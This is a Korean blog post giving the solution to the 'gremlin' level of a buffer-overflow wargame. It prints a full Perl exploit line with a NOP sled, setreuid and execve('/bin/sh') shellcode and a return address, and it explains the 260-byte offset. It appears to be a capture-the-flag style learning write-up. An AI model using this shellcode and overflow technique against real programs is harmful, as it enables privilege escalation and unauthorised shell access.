티스토리 뷰
해답 :
./gremlin `perl -e 'print "\x90"x199, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68", "\x18\xf9\xff\xbf"';`
해답은 크게 세 파트로 나누어집니다.
먼저 \x90 x 199 부분 , 쉘코드 부분, 그리고 주소 값을 넣는 부분입니다.
199 개의 90과 쉘코드를 더하면 딱 260개의 바이트를 소모하는 것을 알 수 있습니다.
왜냐하면 256바이트의 버퍼에 SPF (4바이트 스택 프레임을 구글링하시면 알 수 있음) 를 더한 260 바이트 바로 뒤에 리턴주소 부분이 나오기 때문입니다.
총 256개의 90을 넣어보면 0xbfff 부분 그리고 리턴 주소인 400309cb가 남아있는 것을 알 수 있습니다.
'문제풀이 > bof원정대' 카테고리의 다른 글
bof 원정대 wolfman -> darkelf (0) | 2016.08.15 |
---|---|
bof 원정대 orc -> wolfman (0) | 2016.08.15 |
bof 원정대 goblin -> orc (0) | 2016.08.15 |
bof원정대 gremlin -> cobolt (0) | 2016.08.15 |
BOF 기본 (0) | 2016.08.14 |
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- 루트킷
- 변환
- VMware
- gdb intel 변환
- vmware cannot connect to the virtual machine
- 디바이스
- GDB
- 드라이버
- IRP
- breakpoint
- backdoor
- Intel
- rootkit
- module
- gdb명령어
- 모듈
- gdb 명령어
- 레거시 드라이버
- DriverEntry
- PNP 드라이버
- BP
- 리눅스 모듈
- gdb intel
- LKM
- 백도어
- vmware 오류
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
글 보관함